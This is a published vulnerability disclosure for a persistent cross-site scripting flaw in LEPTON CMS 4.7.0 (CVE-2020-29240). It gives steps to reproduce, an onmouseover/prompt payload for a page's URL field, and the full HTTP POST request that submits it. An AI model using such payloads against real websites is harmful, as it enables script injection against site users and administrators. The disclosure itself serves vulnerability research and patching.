LEPTON CMS 4.7.0 – ‘URL’ Persistent Cross-Site Scripting
# Exploit Title: LEPTON CMS 4.7.0 - 'URL' Persistent Cross-Site Scripting # Date: 19-11-2020 # Exploit Author: Sagar Banwa # Vendor Homepage: https://lepton-cms.org/ # Software Link: https://lepton-cms.org/english/download/archive.php # Version: 4.7.0 # Tested on: Windows 10/Kali Linux # CVE: CVE-2020-29240 Stored Cross-site scripting(XSS): Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser. Vulnerable Parameters: Pages URL. Steps-To-Reproduce: 1. Login to the Admin Account 2. Go to the Menu-Pages-Pages Overview. 3. Now edit any page 4. Put the below payload in the url input box. 5.ex. https://localhost/_packinstall/"onmouseover=prompt(/xss/)> POST /LEPTONmvkzycfafg/modules/wrapper/save.php?leptoken=a8274f4a99bb3c2d1d857z1606411062 HTTP/1.1 Host: localhost Connection: close Content-Length: 130 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://localhost/LEPTONmvkzycfafg/backend/pages/modify.php?page_id=1&leptoken=33bfc986e094ce5dd7655z1606411059 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: lep5031sessionid=75627dd11a0e789c4e560f7a93cd3153 page_id=1§ion_id=1&url=https%3A%2F%2Flocalhost%2F_packinstall%2F%22onmouseover%3Dprompt%28%2Fxss%2F%29%3E+&height=900 |